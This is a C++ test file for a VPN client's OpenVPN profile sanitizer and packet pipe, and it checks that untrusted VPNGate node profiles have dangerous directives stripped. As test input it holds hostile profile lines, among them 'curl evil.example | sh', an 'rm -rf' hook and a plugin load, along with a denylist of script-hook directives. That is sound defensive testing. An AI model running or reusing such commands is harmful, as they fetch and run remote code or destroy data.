// Profile sanitizer + packet pipe. // // These are the two pieces of the ovpn module that can be tested without a // server on the other end. TunnelClient itself needs a live node and is covered // by the end-to-end check; what is testable here is the part that decides what // we are willing to hand openvpn3, and the part that carries IP packets to it. #include #include #include #include #include #include "harness.h" #include "ovpn/packet_pipe.h" #include "ovpn/profile_sanitizer.h" #include "ovpn/tunnel_client.h" using namespace ovg; using namespace ovg::ovpn; namespace { // Shaped like a real VPNGate row: SoftEther boilerplate comments, an // AES-128-CBC/SHA1 crypto suite, an inline CA and client keypair. std::string sample_profile() { return "# OpenVPN Client Config for VPN Gate\n" "# Note: Windows users can use this file with OpenVPN Client\n" "\n" "dev tun\n" "proto tcp\n" "remote 219.100.37.1 443\n" "cipher AES-128-CBC\n" "auth SHA1\n" "resolv-retry infinite\n" "nobind\n" "persist-key\n" "persist-tun\n" "client\n" "verb 3\n" "\n" "-----BEGIN CERTIFICATE-----\n" "MIIDdTCCAl2gAwIBAgIJAKp\n" "-----END CERTIFICATE-----\n" "\n" "\n" "-----BEGIN CERTIFICATE-----\n" "MIIDaTCCAlGgAwIBAgIBATA\n" "-----END CERTIFICATE-----\n" "\n" "\n" "-----BEGIN PRIVATE KEY-----\n" "MIIEvQIBADANBgkqhkiG9w0\n" "-----END PRIVATE KEY-----\n" "\n"; } bool contains(const std::string &text, const std::string &needle) { return text.find(needle) != std::string::npos; } bool has_line(const std::string &text, const std::string &line) { return contains("\n" + text, "\n" + line + "\n"); } // CHECK() only prints the expression, which is useless inside a loop over // names. These report the offending item on both sides of the comparison. void expect_absent(const std::string &text, const std::string &needle) { CHECK_EQ(contains(text, needle) ? "leaked: " + needle : "absent: " + needle, "absent: " + needle); } void expect_denied(const char *name, bool want) { const std::string got = std::string(name) + (is_denied_directive(name) ? " -> denied" : " -> kept"); CHECK_EQ(got, std::string(name) + (want ? " -> denied" : " -> kept")); } size_t open_fd_count() { size_t n = 0; for (const auto &e : std::filesystem::directory_iterator("/proc/self/fd")) { (void)e; ++n; } return n; } } // namespace OVG_TEST(SanitizerAcceptsARealProfile) { SanitizedProfile sp; std::string err; CHECK(sanitize_profile(sample_profile(), {}, &sp, &err)); CHECK(sp.has_ca); CHECK(sp.has_client_cert); CHECK(!sp.wants_userpass); CHECK_EQ(sp.remotes.size(), size_t(1)); CHECK_EQ(sp.remotes[0].host, std::string("219.100.37.1")); CHECK_EQ(sp.remotes[0].port, 443); CHECK(sp.remotes[0].proto == vpngate::Proto::Tcp); // Our canonical header is present... CHECK(has_line(sp.text, "client")); CHECK(has_line(sp.text, "dev tun")); CHECK(has_line(sp.text, "remote 219.100.37.1 443 tcp")); // ...and the crypto directives we must not touch survived verbatim. CHECK(has_line(sp.text, "cipher AES-128-CBC")); CHECK(has_line(sp.text, "auth SHA1")); // Inline material is preserved whole. CHECK(contains(sp.text, "\n-----BEGIN CERTIFICATE-----")); CHECK(contains(sp.text, "-----END PRIVATE KEY-----\n")); } OVG_TEST(SanitizerStripsScriptHooks) { std::string raw = sample_profile(); raw += "up /bin/sh -c 'curl evil.example | sh'\n" "down /bin/rm -rf /tmp/x\n" "tls-verify /tmp/verify.sh\n" "plugin /tmp/evil.so\n" "script-security 2\n" "management 127.0.0.1 7505\n" "http-proxy 10.0.0.1 8080\n" "socks-proxy 10.0.0.1 1080\n" "daemon\n" "user root\n" "chroot /\n" "log /tmp/x.log\n"; SanitizedProfile sp; std::string err; CHECK(sanitize_profile(raw, {}, &sp, &err)); for (const char *bad : {"/bin/sh", "/bin/rm", "verify.sh", "evil.so", "script-security", "management", "http-proxy", "socks-proxy", "7505", "10.0.0.1", "x.log"}) { expect_absent(sp.text, bad); } for (const char *line : {"daemon", "user root", "chroot /"}) { CHECK_EQ(has_line(sp.text, line) ? std::string("leaked: ") + line : std::string("absent: ") + line, std::string("absent: ") + line); } // And every removal is reported, so an operator can see what a node tried. CHECK(sp.dropped.size() >= 10); } OVG_TEST(SanitizerDeniesTheHazardousDirectives) { for (const char *name : {"up", "down", "tls-verify", "plugin", "script-security", "management", "http-proxy", "socks-proxy", "daemon", "user", "group", "chroot", "ifconfig", "push"}) { expect_denied(name, true); } // The other half of the contract: a denylist that swallowed these would // quietly break every node. for (const char *name : {"cipher", "auth", "tls-crypt", "remote-cert-tls", "auth-user-pass", "float", "keepalive", "data-ciphers", "auth-nocache", "tun-mtu"}) { expect_denied(name, false); } } OVG_TEST(SanitizerPinsTheChosenRemote) { std::string raw = sample_profile(); // A second remote the selector never scored, plus randomization to make sure // the core would actually have used it. raw += "remote 1.2.3.4 1194 udp\nremote-random\n"; vpngate::Remote pin; pin.host = "219.100.37.1"; pin.port = 1195; pin.proto = vpngate::Proto::Udp; SanitizeOptions opt; opt.pin_remote = &pin; SanitizedProfile sp; std::string err; CHECK(sanitize_profile(raw, opt, &sp, &err)); CHECK_EQ(sp.remotes.size(), size_t(1)); CHECK(has_line(sp.text, "remote 219.100.37.1 1195 udp")); CHECK(has_line(sp.text, "proto udp")); expect_absent(sp.text, "1.2.3.4"); expect_absent(sp.text, "remote-random"); // The original "remote ... 443" line must be gone too. expect_absent(sp.text, "443"); } OVG_TEST(SanitizerDropsConnectionBlocks) { std::string raw = sample_profile(); raw += "\n" "remote 9.9.9.9 1194 udp\n" "\n"; SanitizedProfile sp; std::string err; CHECK(sanitize_profile(raw, {}, &sp, &err)); expect_absent(sp.text, "9.9.9.9"); expect_absent(sp.text, ""); } OVG_TEST(SanitizerReportsAuthUserPass) { std::string raw = sample_profile(); raw += "auth-user-pass /etc/openvpn/creds\n"; SanitizedProfile sp; std::string err; CHECK(sanitize_profile(raw, {}, &sp, &err)); CHECK(sp.wants_userpass); // The path is stripped: credentials come from provide_creds(), and leaving // the argument would make openvpn3 try to open a file that is not there. CHECK(has_line(sp.text, "auth-user-pass")); expect_absent(sp.text, "/etc/openvpn/creds"); } OVG_TEST(SanitizerDropsFileReferencedKeyMaterial) { std::string raw = sample_profile(); raw += "tls-auth /etc/openvpn/ta.key 1\ncrl-verify /etc/openvpn/crl.pem\n"; SanitizedProfile sp; std::string err; CHECK(sanitize_profile(raw, {}, &sp, &err)); expect_absent(sp.text, "ta.key"); expect_absent(sp.text, "crl.pem"); // The inline material in the same profile must survive untouched. CHECK(contains(sp.text, "")); } OVG_TEST(SanitizerRemovesCompressionWhenDisabled) { std::string raw = sample_profile(); raw += "comp-lzo no\ncompress lz4\n"; SanitizeOptions opt; opt.allow_compression = false; SanitizedProfile sp; std::string err; CHECK(sanitize_profile(raw, opt, &sp, &err)); expect_absent(sp.text, "comp-lzo"); expect_absent(sp.text, "compress"); opt.allow_compression = true; CHECK(sanitize_profile(raw, opt, &sp, &err)); CHECK(has_line(sp.text, "comp-lzo no")); } OVG_TEST(SanitizerRejectsUnusableProfiles) { SanitizedProfile sp; std::string err; CHECK(!sanitize_profile("", {}, &sp, &err)); // TAP: layer 2 frames, which nothing downstream understands. { std::string raw = sample_profile(); raw.replace(raw.find("dev tun"), 7, "dev tap0"); CHECK(!sanitize_profile(raw, {}, &sp, &err)); CHECK(contains(err, "TAP")); } // No CA and no peer-fingerprint: nothing to authenticate the server with. { std::string raw = sample_profile(); const size_t b = raw.find(""); const size_t e = raw.find("") + 6; raw.erase(b, e - b); CHECK(!sanitize_profile(raw, {}, &sp, &err)); CHECK(contains(err, "ca")); } // No remote at all. { std::string raw = sample_profile(); const size_t b = raw.find("remote "); raw.erase(b, raw.find('\n', b) + 1 - b); CHECK(!sanitize_profile(raw, {}, &sp, &err)); CHECK(contains(err, "remote")); } // Unterminated inline block: the rest of the file would silently vanish // into the block body. { std::string raw = sample_profile(); raw.replace(raw.find(""), 6, ""); CHECK(!sanitize_profile(raw, {}, &sp, &err)); CHECK(contains(err, "unterminated")); } // Binary garbage where a profile should be. { std::string raw = sample_profile(); raw += "\x01\x02\x03"; CHECK(!sanitize_profile(raw, {}, &sp, &err)); CHECK(contains(err, "control byte")); } // Oversized. { SanitizeOptions opt; opt.max_bytes = 100; CHECK(!sanitize_profile(sample_profile(), opt, &sp, &err)); } } OVG_TEST(SanitizerIsCaseInsensitive) { std::string raw = sample_profile(); raw += "UP /bin/sh\n\nremote 9.9.9.9 1194\n\n"; SanitizedProfile sp; std::string err; CHECK(sanitize_profile(raw, {}, &sp, &err)); expect_absent(sp.text, "/bin/sh"); expect_absent(sp.text, "9.9.9.9"); } OVG_TEST(SanitizedOutputIsStable) { // Sanitizing twice must be a no-op the second time round -- otherwise the // "regenerated" set is incomplete and our own header would accumulate. SanitizedProfile once, twice; std::string err; CHECK(sanitize_profile(sample_profile(), {}, &once, &err)); CHECK(sanitize_profile(once.text, {}, &twice, &err)); CHECK_EQ(once.text, twice.text); } // --- packet pipe ----------------------------------------------------------- OVG_TEST(PacketPipeCarriesDatagramsWithBoundaries) { asio::io_context io; PacketPipe pipe(io); std::string err; CHECK(pipe.open(256 * 1024, &err)); CHECK(pipe.is_open()); const int peer = pipe.release_peer_fd(); CHECK(peer >= 0); CHECK(pipe.peer_released()); CHECK_EQ(pipe.release_peer_fd(), -1); // handed over exactly once // Three writes of different sizes must arrive as three reads of exactly // those sizes. This is the property the whole design rests on: a datagram // socketpair preserves IP packet boundaries, a stream one would not. const std::string a(40, 'a'), b(1, 'b'), c(1400, 'c'); CHECK(pipe.send_packet(a.data(), a.size()) == PacketPipe::SendStatus::Ok); CHECK(pipe.send_packet(b.data(), b.size()) == PacketPipe::SendStatus::Ok); CHECK(pipe.send_packet(c.data(), c.size()) == PacketPipe::SendStatus::Ok); char buf[4096]; for (const std::string *expect : {&a, &b, &c}) { const ssize_t n = ::recv(peer, buf, sizeof(buf), 0); CHECK(n >= 0); CHECK_EQ(std::string(buf, static_cast(n)), *expect); } const auto ctr = pipe.counters(); CHECK_EQ(ctr.tx_packets, uint64_t(3)); CHECK_EQ(ctr.tx_bytes, uint64_t(a.size() + b.size() + c.size())); CHECK_EQ(ctr.tx_dropped, uint64_t(0)); ::close(peer); } OVG_TEST(PacketPipeReadsWhatThePeerWrites) { asio::io_context io; PacketPipe pipe(io); std::string err; CHECK(pipe.open(0, &err)); const int peer = pipe.release_peer_fd(); CHECK(peer >= 0); const std::string payload(700, 'x'); CHECK_EQ(::send(peer, payload.data(), payload.size(), 0), static_cast(payload.size())); char buf[4096]; std::error_code ec; const size_t n = pipe.socket().receive(asio::buffer(buf), 0, ec); CHECK(!ec); CHECK_EQ(n, payload.size()); pipe.note_received(n); CHECK_EQ(pipe.counters().rx_packets, uint64_t(1)); CHECK_EQ(pipe.counters().rx_bytes, uint64_t(payload.size())); ::close(peer); } OVG_TEST(PacketPipeRejectsOversizedAndEmptyPackets) { asio::io_context io; PacketPipe pipe(io); std::string err; CHECK(pipe.open(0, &err)); const std::string huge(kMaxPacketSize + 1, 'z'); CHECK(pipe.send_packet(huge.data(), huge.size()) == PacketPipe::SendStatus::Dropped); CHECK(pipe.send_packet(huge.data(), 0) == PacketPipe::SendStatus::Dropped); CHECK_EQ(pipe.counters().tx_dropped, uint64_t(2)); CHECK_EQ(pipe.counters().tx_packets, uint64_t(0)); } OVG_TEST(PacketPipeReportsAClosedPeer) { asio::io_context io; PacketPipe pipe(io); std::string err; CHECK(pipe.open(0, &err)); const int peer = pipe.release_peer_fd(); CHECK(peer >= 0); ::close(peer); // Must surface as Closed, not as a SIGPIPE that kills the process. The // first send after the peer goes away can still be accepted, so retry a // couple of times; what matters is that we never die and that we do notice. PacketPipe::SendStatus st = PacketPipe::SendStatus::Ok; const std::string p(64, 'p'); for (int i = 0; i < 3 && st != PacketPipe::SendStatus::Closed; ++i) st = pipe.send_packet(p.data(), p.size()); CHECK(st == PacketPipe::SendStatus::Closed); } OVG_TEST(PacketPipeDropsRatherThanBlockingWhenTheQueueFills) { asio::io_context io; PacketPipe pipe(io); std::string err; // Smallest buffer the kernel will grant, so the queue fills quickly. CHECK(pipe.open(2048, &err)); const int peer = pipe.release_peer_fd(); CHECK(peer >= 0); // Nobody is reading `peer`. A blocking write here would wedge the io_context // thread for as long as the tunnel is congested; the contract is that we // drop the packet instead and let TCP above notice. const std::string p(1400, 'q'); bool saw_drop = false; for (int i = 0; i < 10000 && !saw_drop; ++i) { if (pipe.send_packet(p.data(), p.size()) == PacketPipe::SendStatus::Dropped) saw_drop = true; } CHECK(saw_drop); CHECK(pipe.counters().tx_dropped > 0); ::close(peer); } OVG_TEST(PacketPipeOwnsExactlyTheDescriptorsItShould) { asio::io_context io; // asio builds its epoll reactor lazily, on the first socket that registers // with it, so a cold io_context would make the first pipe look like it cost // more descriptors than it did. Warm it up before taking the baseline. { PacketPipe warmup(io); std::string err; CHECK(warmup.open(0, &err)); } const size_t before = open_fd_count(); // Never released: the pipe must close both ends. { PacketPipe pipe(io); std::string err; CHECK(pipe.open(0, &err)); CHECK_EQ(open_fd_count(), before + 2); } CHECK_EQ(open_fd_count(), before); // Released: openvpn3 owns the peer now, so the destructor must leave it // alone. Closing it here would pull the tun out from under a live session. int peer = -1; { PacketPipe pipe(io); std::string err; CHECK(pipe.open(0, &err)); peer = pipe.release_peer_fd(); CHECK(peer >= 0); } CHECK(::fcntl(peer, F_GETFD) >= 0); ::close(peer); CHECK_EQ(open_fd_count(), before); } // --- tunnel client --------------------------------------------------------- OVG_TEST(TunnelClientRejectsABadProfileWithoutStarting) { asio::io_context io; auto tc = TunnelClient::create(io, OvpnConfig{}); vpngate::Node node; node.host_name = "broken"; node.ip = "203.0.113.9"; node.profile = "this is not an openvpn profile\n"; const vpngate::Remote r{"203.0.113.9", 443, vpngate::Proto::Tcp}; std::string err; CHECK(!tc->start(node, r, nullptr, &err)); // The node id has to be in the message: with ~100 nodes churning, an error // that does not say which one failed is not actionable. CHECK(contains(err, "broken@203.0.113.9")); CHECK(tc->state() == TunnelState::Idle); // A rejected profile must leave no descriptor behind. CHECK(!tc->pipe().is_open()); } OVG_TEST(TunnelClientStateNamesAreComplete) { for (auto s : {TunnelState::Idle, TunnelState::Connecting, TunnelState::Up, TunnelState::Reconnecting, TunnelState::Down}) { CHECK_NE(std::string(tunnel_state_name(s)), std::string("?")); } } OVG_TEST(TunnelClientWithoutOpenvpn3FailsCleanly) { if (TunnelClient::supported()) SKIP("built with openvpn3 linked in"); asio::io_context io; auto tc = TunnelClient::create(io, OvpnConfig{}); vpngate::Node node; node.host_name = "ok"; node.ip = "203.0.113.10"; node.profile = sample_profile(); const vpngate::Remote r{"203.0.113.10", 443, vpngate::Proto::Tcp}; std::string err; CHECK(!tc->start(node, r, nullptr, &err)); CHECK(contains(err, "OVG_WITH_TUNNEL")); CHECK(tc->state() == TunnelState::Idle); CHECK(!tc->pipe().is_open()); }